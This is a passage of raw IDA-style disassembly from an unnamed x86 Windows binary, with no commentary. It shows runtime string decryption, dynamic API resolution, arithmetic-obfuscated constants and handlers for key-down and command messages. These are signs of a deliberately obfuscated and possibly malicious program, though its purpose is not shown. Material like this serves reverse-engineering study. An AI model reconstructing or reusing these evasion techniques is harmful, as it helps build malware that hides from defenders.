ecx, eax mov [ebp+var_30C], ecx lea eax, [ebp+var_1FE] push eax push esi call ds:dword_44602C add esp, 8 push offset byte_54FD85 call sub_43AAF7 add esp, 4 push eax push esi call ds:dword_44602C add esp, 8 inc [ebp+var_30C] mov eax, [ebp+var_30C] movzx eax, [ebp+eax+var_FF] mov edx, dword_54F158 add edx, dword_54F1BC sub edx, 9 cmp eax, edx jnz loc_43F96C loc_43FA62: ; CODE XREF: sub_43F81A+89j ; sub_43F81A+CFj inc edi loc_43FA63: ; CODE XREF: sub_43F81A+19j mov eax, dword_54F110 add eax, 15h cmp edi, eax jb loc_43F838 pop edi pop esi pop ebx leave retn sub_43F81A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FA78 proc near ; DATA XREF: .data:0054F2B0o push ebp mov ebp, esp movsx eax, word_54F208 dec eax cmp ds:dword_54DB14, eax jbe short loc_43FA96 push offset dword_54DB14 call ds:dword_446014 loc_43FA96: ; CODE XREF: sub_43FA78+11j mov eax, ds:dword_54DB14 pop ebp retn 4 sub_43FA78 endp ; =============== S U B R O U T I N E ======================================= sub_43FA9F proc near ; CODE XREF: sub_43B3AD+83p arg_0 = dword ptr 4 push ebx push esi mov ecx, [esp+8+arg_0] mov esi, dword_54F214 mov ebx, dword_54F0D8 add ebx, 0EFCDAB82h movsx edx, word_54F0CC add ebx, edx mov [ecx+esi*4-8], ebx movsx esi, word_54F138 mov ebx, dword_54F160 add ebx, 1032546Fh mov [ecx+esi*4], ebx movsx esi, word_54F1C4 add esi, dword_54F100 mov ebx, dword_54F150 add ebx, 98BADCF4h add ebx, dword_54F1BC mov [ecx+esi*4-3Ch], ebx mov esi, dword_54F110 movsx ebx, word_54F148 add ebx, 67452300h mov [ecx+esi*4-24h], ebx pop esi pop ebx retn sub_43FA9F endp ; =============== S U B R O U T I N E ======================================= sub_43FB17 proc near ; CODE XREF: sub_444ED7+2Fp push edi push offset word_54FD7A call sub_43AAF7 pop ecx push eax call ds:dword_449598 mov dword_54F26C, eax mov eax, dword_54F10C movsx edx, word_54F128 add eax, edx sub eax, 7 cmp dword_54F26C, eax jnz short loc_43FB5F push offset asc_54FD6F ; "\a" call sub_43AAF7 pop ecx push eax call ds:dword_48A218 mov dword_54F26C, eax loc_43FB5F: ; CODE XREF: sub_43FB17+2Fj movsx eax, word_54F128 sub eax, 5 cmp dword_54F26C, eax jz short loc_43FB8E push offset byte_54FD59 call sub_43AAF7 pop ecx push eax push dword_54F26C call ds:dword_4491AC mov ds:dword_4495B4, eax loc_43FB8E: ; CODE XREF: sub_43FB17+58j pop edi retn sub_43FB17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FB90 proc near ; CODE XREF: sub_43B0C6+8Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, ebx shr edi, 4 mov eax, edi mov ecx, dword_54F174 add ecx, 9 mul ecx mov [ebp+var_4], eax mov esi, ebx sub esi, eax movsx ebx, word_54F104 inc ebx mov ecx, esi mov esi, ebx shl esi, cl mov ebx, [ebp+arg_0] movzx ebx, word ptr [ebx+edi*2] mov edi, ebx and edi, esi cmp edi, esi jnz short loc_43FBE4 movsx eax, word_54F144 mov edi, eax add edi, dword_54F098 sub edi, 0Ch jmp short loc_43FBF6 ; --------------------------------------------------------------------------- loc_43FBE4: ; CODE XREF: sub_43FB90+3Ej movsx eax, word_54F0F8 mov edi, eax add edi, dword_54F140 sub edi, 6 loc_43FBF6: ; CODE XREF: sub_43FB90+52j mov eax, edi pop edi pop esi pop ebx leave retn sub_43FB90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FBFD proc near ; CODE XREF: sub_43D41A+16Fp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4437E1 add esp, 8 mov esi, eax movsx eax, word_54F194 dec eax cmp esi, eax jnz short loc_43FC2A xor eax, eax jmp loc_43FCD3 ; --------------------------------------------------------------------------- loc_43FC2A: ; CODE XREF: sub_43FBFD+24j mov eax, dword_54F1A0 mov edi, eax add edi, dword_54F1E0 sub edi, 8 mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_43FC42: ; CODE XREF: sub_43FBFD+4Aj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43FC42 mov [ebp+var_8], eax loc_43FC4C: ; CODE XREF: sub_43FBFD+CBj lea ecx, [esi+edi] or eax, 0FFFFFFFFh loc_43FC52: ; CODE XREF: sub_43FBFD+5Aj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43FC52 mov ebx, eax sub ebx, [ebp+arg_8] cmp ebx, [ebp+var_8] jnz short loc_43FCB2 mov [ebp+var_10], 1 movsx eax, word_54F128 sub eax, 5 mov [ebp+var_C], eax jmp short loc_43FC9B ; --------------------------------------------------------------------------- loc_43FC79: ; CODE XREF: sub_43FBFD+A1j mov eax, [ebp+var_C] mov edx, edi add edx, eax add edx, [ebp+arg_8] movzx edx, byte ptr [esi+edx] mov ecx, [ebp+arg_4] movsx eax, byte ptr [ecx+eax] cmp edx, eax jz short loc_43FC98 and [ebp+var_10], 0 jmp short loc_43FCA0 ; --------------------------------------------------------------------------- loc_43FC98: ; CODE XREF: sub_43FBFD+93j inc [ebp+var_C] loc_43FC9B: ; CODE XREF: sub_43FBFD+7Aj cmp [ebp+var_C], ebx jb short loc_43FC79 loc_43FCA0: ; CODE XREF: sub_43FBFD+99j cmp [ebp+var_10], 0 jz short loc_43FCB2 push esi call ds:dword_4495CC xor eax, eax inc eax jmp short loc_43FCD3 ; --------------------------------------------------------------------------- loc_43FCB2: ; CODE XREF: sub_43FBFD+64j ; sub_43FBFD+A7j add edi, [ebp+arg_8] mov eax, dword_54F238 inc eax add eax, dword_54F20C add edi, eax add edi, ebx cmp edi, [ebp+var_4] jb short loc_43FC4C push esi call ds:dword_4495CC xor eax, eax loc_43FCD3: ; CODE XREF: sub_43FBFD+28j ; sub_43FBFD+B3j pop edi pop esi pop ebx leave retn sub_43FBFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FCD8 proc near ; CODE XREF: sub_4395D8+39Ap ; sub_4395D8+493p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] xor edx, edx div esi mov edi, dword_54F1AC sub edi, 2 cmp edx, edi jnz short loc_43FCFC mov eax, [ebp+arg_0] jmp short loc_43FD16 ; --------------------------------------------------------------------------- loc_43FCFC: ; CODE XREF: sub_43FCD8+1Dj mov eax, [ebp+arg_0] xor edx, edx div esi mov [ebp+var_8], eax mov edi, eax mul esi mov [ebp+var_C], eax mov edi, eax add edi, esi mov [ebp+var_4], edi mov eax, edi loc_43FD16: ; CODE XREF: sub_43FCD8+22j pop edi pop esi leave retn sub_43FCD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FD1A proc near ; DATA XREF: sub_438324+1017o ; sub_438324+1067o ... var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_219 = byte ptr -219h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_108 = byte ptr -108h var_105 = byte ptr -105h var_104 = byte ptr -104h var_103 = byte ptr -103h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 230h push ebx push esi push edi mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, ebx cmp eax, 100h jz short loc_43FD4B jl loc_440306 cmp eax, 111h jz loc_43FDE6 jmp loc_440306 ; --------------------------------------------------------------------------- loc_43FD4B: ; CODE XREF: sub_43FD1A+19j cmp [ebp+arg_8], 9 jnz loc_440306 movsx edi, word_54F240 sub edi, 8 jmp short loc_43FDCC ; --------------------------------------------------------------------------- loc_43FD61: ; CODE XREF: sub_43FD1A+C5j mov eax, 30h mul edi mov [ebp+var_208], eax cmp ds:dword_4CA564[eax], esi jnz short loc_43FD96 mov eax, 30h mul edi mov [ebp+var_20C], eax push ds:dword_4CA568[eax] call ds:dword_4899FC jmp loc_440306 ; --------------------------------------------------------------------------- loc_43FD96: ; CODE XREF: sub_43FD1A+5Bj mov eax, 30h mul edi mov [ebp+var_20C], eax cmp ds:dword_4CA560[eax], esi jnz short loc_43FDCB mov eax, 30h mul edi mov [ebp+var_210], eax push ds:dword_4CA564[eax] call ds:dword_4899FC jmp loc_440306 ; --------------------------------------------------------------------------- loc_43FDCB: ; CODE XREF: sub_43FD1A+90j inc edi loc_43FDCC: ; CODE XREF: sub_43FD1A+45j movsx eax, word_54F210 mov edx, dword_54F1BC lea eax, [eax+edx+59h] cmp edi, eax jb short loc_43FD61 jmp loc_440306 ; --------------------------------------------------------------------------- loc_43FDE6: ; CODE XREF: sub_43FD1A+26j movsx eax, word_54F128 mov edi, eax add edi, dword_54F174 sub edi, 0Ch jmp short loc_43FE14 ; --------------------------------------------------------------------------- loc_43FDFA: ; CODE XREF: sub_43FD1A+10Aj mov eax, 30h mul edi mov [ebp+var_208], eax mov eax, ds:dword_4CA56C[eax] cmp [ebp+arg_C], eax jz short loc_43FE26 inc edi loc_43FE14: ; CODE XREF: sub_43FD1A+DEj mov eax, dword_54F140 add eax, 63h add eax, dword_54F180 cmp edi, eax jb short loc_43FDFA loc_43FE26: ; CODE XREF: sub_43FD1A+F7j mov eax, dword_54F1B0 add eax, 5Dh cmp edi, eax jz loc_440306 push 0FFh lea eax, [ebp+var_103] push eax mov eax, 30h mul edi mov [ebp+var_20C], eax push ds:dword_4CA558[eax] call ds:dword_54DF38 movsx eax, word_54F1A4 mov byte ptr [ebp+eax+var_20C+2], 4Bh movsx eax, word_54F13C mov edx, dword_54F1D8 sub edx, 4 mov byte ptr [ebp+eax+var_20C+1], dl movsx eax, word_54F1A8 add eax, dword_54F0E8 mov [ebp+eax+var_204], 7Ch lea eax, [ebp+var_103] push eax lea eax, [ebp+var_204] push eax call ds:dword_44602C add esp, 8 push 0FFh lea eax, [ebp+var_103] push eax mov eax, 30h mul edi mov [ebp+var_210], eax push ds:dword_4CA560[eax] call ds:dword_54DF38 mov eax, dword_54F20C movsx edx, word_54F194 add eax, edx movsx eax, [ebp+eax+var_108] mov edx, dword_54F1C8 add edx, dword_54F11C sub edx, 0Ah cmp eax, edx jnz short loc_43FF59 push offset word_54FD36 call sub_43AAF7 pop ecx movsx edx, word_54F138 sub edx, 3 push edx mov edx, dword_54F1F4 add edx, dword_54F0AC sub edx, 10h push edx push eax mov edx, dword_54F140 add edx, dword_54F0B8 sub edx, 5 push edx call ds:dword_50C938 mov eax, 30h mul edi mov [ebp+var_214], eax push ds:dword_4CA560[eax] call ds:dword_4899FC jmp loc_440306 ; --------------------------------------------------------------------------- loc_43FF59: ; CODE XREF: sub_43FD1A+1E1j push offset byte_54FD31 call sub_43AAF7 push eax lea edx, [ebp+var_204] push edx call ds:dword_44602C lea eax, [ebp+var_103] push eax lea eax, [ebp+var_204] push eax call ds:dword_44602C add esp, 14h push 0FFh lea eax, [ebp+var_103] push eax mov eax, 30h mul edi mov [ebp+var_214], eax push ds:dword_4CA564[eax] call ds:dword_54DF38 mov eax, dword_54F0AC movsx eax, [ebp+eax+var_10A] mov edx, dword_54F098 add edx, dword_54F0C0 sub edx, 0Bh cmp eax, edx jnz short loc_440028 push offset byte_54FD0F call sub_43AAF7 pop ecx mov edx, dword_54F140 add edx, dword_54F0C8 sub edx, 2 push edx mov edx, dword_54F1F8 add edx, dword_54F16C sub edx, 8 push edx push eax movsx edx, word_54F148 dec edx push edx call ds:dword_50C938 mov eax, 30h mul edi mov [ebp+var_218], eax push ds:dword_4CA564[eax] call ds:dword_4899FC jmp loc_440306 ; --------------------------------------------------------------------------- loc_440028: ; CODE XREF: sub_43FD1A+2B2j push offset word_54FD0A call sub_43AAF7 push eax lea edx, [ebp+var_204] push edx call ds:dword_44602C lea eax, [ebp+var_103] push eax lea eax, [ebp+var_204] push eax call ds:dword_44602C add esp, 14h push 0FFh lea eax, [ebp+var_103] push eax mov eax, 30h mul edi mov [ebp+var_218], eax push ds:dword_4CA568[eax] call ds:dword_54DF38 mov eax, dword_54F154 movsx eax, [ebp+eax+var_10B] movsx edx, word_54F210 add edx, dword_54F23C sub edx, 5 cmp eax, edx jz loc_4401CB lea ecx, [ebp+var_103] or eax, 0FFFFFFFFh loc_4400AB: ; CODE XREF: sub_43FD1A+396j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4400AB mov edx, eax mov ecx, dword_54F22C movsx eax, word_54F208 add ecx, eax sub ecx, 4 cmp edx, ecx jb loc_4401CB mov eax, dword_54F22C sub eax, 7 mov [ebp+var_105], al jmp short loc_440100 ; --------------------------------------------------------------------------- loc_4400DE: ; CODE XREF: sub_43FD1A+3FFj movzx eax, [ebp+var_105] mov al, [ebp+eax+var_103] cmp al, 30h jl short loc_4400F4 cmp al, 39h jle short loc_4400F9 loc_4400F4: ; CODE XREF: sub_43FD1A+3D4j jmp loc_4401CB ; --------------------------------------------------------------------------- loc_4400F9: ; CODE XREF: sub_43FD1A+3D8j add [ebp+var_105], 1 loc_440100: ; CODE XREF: sub_43FD1A+3C2j lea ecx, [ebp+var_103] or eax, 0FFFFFFFFh loc_440109: ; CODE XREF: sub_43FD1A+3F4j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_440109 movzx ecx, [ebp+var_105] cmp ecx, eax jb short loc_4400DE mov eax, dword_54F1E0 add eax, dword_54F20C sub eax, 8 mov [ebp+var_104], al jmp short loc_4401A7 ; --------------------------------------------------------------------------- loc_440131: ; CODE XREF: sub_43FD1A+4A6j mov al, [ebp+var_104] mov [ebp+var_219], al jmp short loc_440168 ; --------------------------------------------------------------------------- loc_44013F: ; CODE XREF: sub_43FD1A+467j movzx eax, [ebp+var_219] movsx eax, [ebp+eax+var_103] movzx edx, [ebp+var_104] movsx edx, [ebp+edx+var_103] cmp eax, edx jnz short loc_440183 add [ebp+var_219], 1 loc_440168: ; CODE XREF: sub_43FD1A+423j lea ecx, [ebp+var_103] or eax, 0FFFFFFFFh loc_440171: ; CODE XREF: sub_43FD1A+45Cj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_440171 movzx ecx, [ebp+var_219] cmp ecx, eax jb short loc_44013F loc_440183: ; CODE XREF: sub_43FD1A+445j movzx eax, [ebp+var_219] movzx edx, [ebp+var_104] sub eax, edx mov edx, dword_54F0BC add edx, 3 cmp eax, edx jg short loc_4401CB add [ebp+var_104], 1 loc_4401A7: ; CODE XREF: sub_43FD1A+415j lea ecx, [ebp+var_103] or eax, 0FFFFFFFFh loc_4401B0: ; CODE XREF: sub_43FD1A+49Bj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4401B0 movzx ecx, [ebp+var_104] cmp ecx, eax jb loc_440131 jmp loc_440267 ; --------------------------------------------------------------------------- loc_4401CB: ; CODE XREF: sub_43FD1A+382j ; sub_43FD1A+3AEj ... mov eax, dword_54F170 add eax, 7CCh push eax call ds:dword_50C924 push offset a5 ; "5" call sub_43AAF7 mov [ebp-21Ch], eax push offset word_54FCBA call sub_43AAF7 mov edx, dword_54F108 sub edx, 8 push edx push eax mov edx, [ebp-21Ch] push edx mov edx, dword_54F22C add edx, dword_54F0EC sub edx, 8 push edx call ds:dword_50C938 push offset word_54FCB6 call sub_43AAF7 add esp, 10h push eax mov eax, 30h mul edi mov [ebp+var_220], eax mov edx, eax push ds:dword_4CA568[edx] call ds:dword_54C954 mov eax, 30h mul edi mov [ebp+var_224], eax push ds:dword_4CA568[eax] call ds:dword_4899FC jmp loc_440306 ; --------------------------------------------------------------------------- loc_440267: ; CODE XREF: sub_43FD1A+4ACj push offset byte_54FCB1 call sub_43AAF7 push eax lea edx, [ebp+var_204] push edx call ds:dword_44602C lea eax, [ebp+var_103] push eax lea eax, [ebp+var_204] push eax call ds:dword_44602C mov eax, 30h mul edi mov [ebp+var_228], eax push ds:dword_4CA558[eax] call ds:dword_48A1E8 lea eax, [ebp+var_204] push eax call ds:dword_447014 add esp, 18h push 5 mov eax, 30h mul edi mov [ebp+var_22C], eax push ds:dword_4CA554[eax] call ds:dword_54C958 mov eax, 30h mul edi mov [ebp+var_230], eax movsx eax, word_54F198 movsx edx, word_54F1CC add eax, edx sub eax, 0Ah mov edx, [ebp+var_230] mov ds:dword_4CA550[edx], eax loc_440306: ; CODE XREF: sub_43FD1A+1Bj ; sub_43FD1A+2Cj ... mov edi, dword_54F1DC jmp loc_4403E8 ; --------------------------------------------------------------------------- loc_440311: ; CODE XREF: sub_43FD1A+6E1j mov eax, 30h mul edi mov [ebp+var_8], eax cmp esi, ds:dword_4CA55C[eax] jnz short loc_440348 push [ebp+arg_C] push [ebp+arg_8] push ebx push esi mov eax, 30h mul edi mov [ebp+var_C], eax push ds:dword_4CA57C[eax] call ds:dword_4CC8F8 jmp loc_440401 ; --------------------------------------------------------------------------- loc_440348: ; CODE XREF: sub_43FD1A+608j mov eax, 30h mul edi mov [ebp+var_10], eax cmp esi, ds:dword_4CA568[eax] jnz short loc_44037F push [ebp+arg_C] push [ebp+arg_8] push ebx push esi mov eax, 30h mul edi mov [ebp+var_14], eax push ds:dword_4CA578[eax] call ds:dword_4CC8F8 jmp loc_440401 ; --------------------------------------------------------------------------- loc_44037F: ; CODE XREF: sub_43FD1A+63Fj mov eax, 30h mul edi mov [ebp+var_18], eax cmp esi, ds:dword_4CA560[eax] jnz short loc_4403B3 push [ebp+arg_C] push [ebp+arg_8] push ebx push esi mov eax, 30h mul edi mov [ebp+var_1C], eax push ds:dword_4CA570[eax] call ds:dword_4CC8F8 jmp short loc_440401 ; --------------------------------------------------------------------------- loc_4403B3: ; CODE XREF: sub_43FD1A+676j mov eax, 30h mul edi mov [ebp+var_20], eax cmp esi, ds:dword_4CA564[eax] jnz short loc_4403E7 push [ebp+arg_C] push [ebp+arg_8] push ebx push esi mov eax, 30h mul edi mov [ebp+var_24], eax push ds:dword_4CA574[eax] call ds:dword_4CC8F8 jmp short loc_440401 ; --------------------------------------------------------------------------- loc_4403E7: ; CODE XREF: sub_43FD1A+6AAj inc edi loc_4403E8: ; CODE XREF: sub_43FD1A+5F2j mov eax, dword_54F0E8 add eax, 5Eh movsx edx, word_54F0B4 add eax, edx cmp edi, eax jb loc_440311 loc_440401: ; CODE XREF: sub_43FD1A+629j ; sub_43FD1A+660j ... pop edi pop esi pop ebx leave retn 10h sub_43FD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440408 proc near ; CODE XREF: sub_43C501+A6p ; sub_43C501+DCp var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 104h push esi push edi mov edi, [ebp+arg_4] movsx eax, word_54F0D0 movsx edx, word_54F148 add eax, edx sub eax, 7 cmp byte ptr [edi+eax], 2Eh jz short loc_440474 push [ebp+arg_0] lea eax, [ebp+var_104] push eax call ds:dword_4491A4 push offset dword_54FCAC call sub_43AAF7 push eax lea esi, [ebp+var_104] push esi call ds:dword_44602C push edi lea eax, [ebp+var_104] push eax call ds:dword_44602C lea eax, [ebp+var_104] push eax call sub_4440DD add esp, 20h loc_440474: ; CODE XREF: sub_440408+25j pop edi pop esi leave retn sub_440408 endp ; =============== S U B R O U T I N E ======================================= sub_440478 proc near ; CODE XREF: sub_43B0C6+C3p ; sub_43B0C6+122p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [esp+8+arg_4] mov ecx, dword_54F214 add ecx, 1Dh mov eax, dword_54F21C movsx edx, word_54F1F0 add eax, edx sub eax, 9 sub ecx, eax jmp short loc_4404BE ; --------------------------------------------------------------------------- loc_4404A0: ; CODE XREF: sub_440478+4Ej mov dx, [ebx+ecx*2] cmp dx, [esi+ecx*2] jnb short loc_4404AE xor eax, eax jmp short loc_4404CB ; --------------------------------------------------------------------------- loc_4404AE: ; CODE XREF: sub_440478+30j mov dx, [ebx+ecx*2] cmp dx, [esi+ecx*2] jbe short loc_4404BD xor eax, eax inc eax jmp short loc_4404CB ; --------------------------------------------------------------------------- loc_4404BD: ; CODE XREF: sub_440478+3Ej dec ecx loc_4404BE: ; CODE XREF: sub_440478+26j mov eax, dword_54F224 dec eax cmp ecx, eax jge short loc_4404A0 xor eax, eax inc eax loc_4404CB: ; CODE XREF: sub_440478+34j ; sub_440478+43j pop esi pop ebx retn sub_440478 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4404CE proc near ; CODE XREF: sub_43EA1B+27Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_8] mov ebx, [ebp+arg_C] xor edi, edi jmp short loc_4404FF ; --------------------------------------------------------------------------- loc_4404DE: ; CODE XREF: sub_4404CE+37j mov edx, ds:dword_4499E0[edi*4] mov ds:dword_446008, edx push offset sub_43D41A push ebx push esi push [ebp+arg_4] push [ebp+arg_0] call ds:dword_446008 inc edi loc_4404FF: ; CODE XREF: sub_4404CE+Ej cmp edi, dword_54F2A4 jb short loc_4404DE pop edi pop esi pop ebx pop ebp retn sub_4404CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44050C proc near ; CODE XREF: sub_44526D+1E1p ; sub_44526D+204p ... var_4B = byte ptr -4Bh var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi call ds:dword_54CA70 mov [ebp+var_4], eax mov ebx, [ebp+arg_0] mov esi, dword_54F0B8 sub esi, 4 jmp short loc_440578 ; --------------------------------------------------------------------------- loc_44052C: ; CODE XREF: sub_44050C+7Ej mov edx, dword_54F1EC sub edx, 3 cmp ds:dword_4480E0[esi*4], edx jz short loc_440577 mov edx, ds:dword_4CB950[esi*4] mov ecx, dword_54F0D8 add ecx, 0EA5Ah mov eax, dword_54F0A0 add eax, dword_54F158 dec eax imul ecx, eax add edx, ecx cmp edx, [ebp+var_4] jnb short loc_440577 mov edx, dword_54F1B0 sub edx, 7 mov ds:dword_4480E0[esi*4], edx loc_440577: ; CODE XREF: sub_44050C+30j ; sub_44050C+59j inc esi loc_440578: ; CODE XREF: sub_44050C+1Ej mov eax, dword_54F1D0 add eax, 3E0h add eax, dword_54F0EC cmp esi, eax jb short loc_44052C loc_44058C: ; CODE XREF: sub_44050C+A3j ; sub_44050C+256j mov eax, [ebx] mov [ebp+var_10], eax lea ebx, [ebx+eax] mov eax, ebx sub eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb loc_440768 movsx eax, word_54F164 add eax, 3 cmp [ebp+var_10], eax ja short loc_44058C mov eax, ebx sub eax, [ebp+arg_0] mov edx, dword_54F158 add edx, dword_54F124 dec edx sub eax, edx mov [ebp+var_8], eax mov ecx, ebx or eax, 0FFFFFFFFh loc_4405CD: ; CODE XREF: sub_44050C+C6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4405CD mov [ebp+var_C], eax mov eax, dword_54F248 mov edi, eax add edi, dword_54F0AC sub edi, 0Bh jmp short loc_44061E ; --------------------------------------------------------------------------- loc_4405E9: ; CODE XREF: sub_44050C+11Ej mov edx, dword_54F1EC add edx, dword_54F0A4 sub edx, 0Ah cmp ds:dword_4480E0[edi*4], edx jz short loc_44061D mov edx, [ebp+var_8] cmp ds:dword_447020[edi*4], edx jnz short loc_44061D mov dl, ds:byte_4491B0[edi] cmp dl, [ebp+arg_10] jz loc_44074D loc_44061D: ; CODE XREF: sub_44050C+F3j ; sub_44050C+FFj inc edi loc_44061E: ; CODE XREF: sub_44050C+DBj mov eax, dword_54F20C add eax, 3E4h cmp edi, eax jb short loc_4405E9 mov eax, dword_54F188 add eax, 3BBh cmp [ebp+var_C], eax jbe loc_4406F7 mov eax, dword_54F120 inc eax add eax, dword_54F1BC push eax lea eax, [ebp+var_4B] push eax call sub_43CDF9 add esp, 8 mov eax, dword_54F1BC add eax, 3B2h movsx edx, word_54F1C4 add eax, edx mov [ebp+var_14], eax mov eax, dword_54F22C sub eax, 7 mov [ebp+var_18], eax loc_440679: ; CODE XREF: sub_44050C+1E9j mov eax, [ebp+var_14] mov al, [ebx+eax] mov [ebp+var_19], al mov eax, [ebp+var_14] movsx edx, word_54F1C4 add edx, dword_54F1F4 sub edx, 11h mov [ebx+eax], dl push offset dword_447FE0 push [ebp+var_C] push [ebp+var_18] lea eax, [ebp+var_4B] push eax mov eax, [ebp+arg_C] push dword ptr [eax] push [ebp+arg_0] push ebx push [ebp+arg_8] movsx eax, word_54F208 dec eax and eax, 0FFh push eax call sub_440B82 add esp, 24h mov eax, [ebp+var_14] mov [ebp+var_18], eax mov dl, [ebp+var_19] mov [ebx+eax], dl mov eax, dword_54F230 add eax, 3BFh add [ebp+var_14], eax mov eax, [ebp+var_C] cmp [ebp+var_14], eax jbe short loc_4406ED mov [ebp+var_14], eax loc_4406ED: ; CODE XREF: sub_44050C+1DCj mov eax, [ebp+var_C] cmp [ebp+var_18], eax jnb short loc_440748 jmp short loc_440679 ; --------------------------------------------------------------------------- loc_4406F7: ; CODE XREF: sub_44050C+12Dj push offset byte_54FCA7 call sub_43AAF7 push offset dword_447FE0 push [ebp+var_C] movsx edx, word_54F1A4 movsx ecx, word_54F198 add edx, ecx sub edx, 7 push edx push eax mov edx, [ebp+arg_C] push dword ptr [edx] push [ebp+arg_0] push ebx push [ebp+arg_8] mov edx, dword_54F0A0 add edx, dword_54F114 sub edx, 4 and edx, 0FFh push edx call sub_440B82 add esp, 28h loc_440748: ; CODE XREF: sub_44050C+1E7j mov eax, [ebp+arg_C] inc dword ptr [eax] loc_44074D: ; CODE XREF: sub_44050C+10Bj mov eax, [ebp+var_C] lea ebx, [ebx+eax] inc ebx mov eax, [ebp+arg_C] mov edx, dword_54F228 add edx, 0Ch cmp [eax], edx jbe loc_44058C loc_440768: ; CODE XREF: sub_44050C+90j push offset byte_54FCA3 call sub_43AAF7 push offset dword_447FE0 mov edx, dword_54F1D8 movsx ecx, word_54F0D0 add edx, ecx sub edx, 0Ah push edx movsx edx, word_54F13C sub edx, 9 push edx push eax push edx movsx edx, word_54F1A4 sub edx, 6 push edx movsx edx, word_54F118 sub edx, 8 push edx push [ebp+arg_8] mov edx, dword_54F1E0 add edx, dword_54F1E4 sub edx, 7 and edx, 0FFh push edx call sub_440B82 add esp, 28h pop edi pop esi pop ebx leave retn sub_44050C endp ; =============== S U B R O U T I N E ======================================= sub_4407D3 proc near ; CODE XREF: sub_444ED7+25p push edi push offset word_54FC96 call sub_43AAF7 pop ecx push eax call ds:dword_449598 mov dword_54F264, eax mov eax, dword_54F1B8 add eax, dword_54F204 sub eax, 6 cmp dword_54F264, eax jnz short loc_440818 push offset byte_54FC89 call sub_43AAF7 pop ecx push eax call ds:dword_48A218 mov dword_54F264, eax loc_440818: ; CODE XREF: sub_4407D3+2Cj push offset byte_54FC77 call sub_43AAF7 push eax push dword_54F264 call ds:dword_4491AC mov ds:dword_44908C, eax push offset byte_54FC67 call sub_43AAF7 push eax push dword_54F264 call ds:dword_4491AC mov ds:dword_449084, eax push offset dword_54FC54 call sub_43AAF7 push eax push dword_54F264 call ds:dword_4491AC mov ds:dword_54E048, eax push offset dword_54FC40 call sub_43AAF7 push eax push dword_54F264 call ds:dword_4491AC mov ds:dword_4495D4, eax push offset byte_54FC31 call sub_43AAF7 push eax push dword_54F264 call ds:dword_4491AC mov ds:dword_50C93C, eax push offset dword_54FC20 call sub_43AAF7 add esp, 18h push eax push dword_54F264 call ds:dword_4491AC mov ds:dword_48A1EC, eax pop edi retn sub_4407D3 endp ; =============== S U B R O U T I N E ======================================= sub_4408C5 proc near ; CODE XREF: sub_444ED7+2Ap push edi push offset word_54FC12 call sub_43AAF7 pop ecx push eax call ds:dword_449598 mov dword_54F25C, eax movsx eax, word_54F1C4 sub eax, 8 cmp dword_54F25C, eax jnz short loc_440906 push offset dword_54FC04 call sub_43AAF7 pop ecx push eax call ds:dword_48A218 mov dword_54F25C, eax loc_440906: ; CODE XREF: sub_4408C5+28j push offset word_54FBF2 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_4495C8, eax push offset dword_54FBE0 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_4CC914, eax push offset byte_54FBC9 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_4495A4, eax push offset word_54FBB6 call sub_43AAF7 push 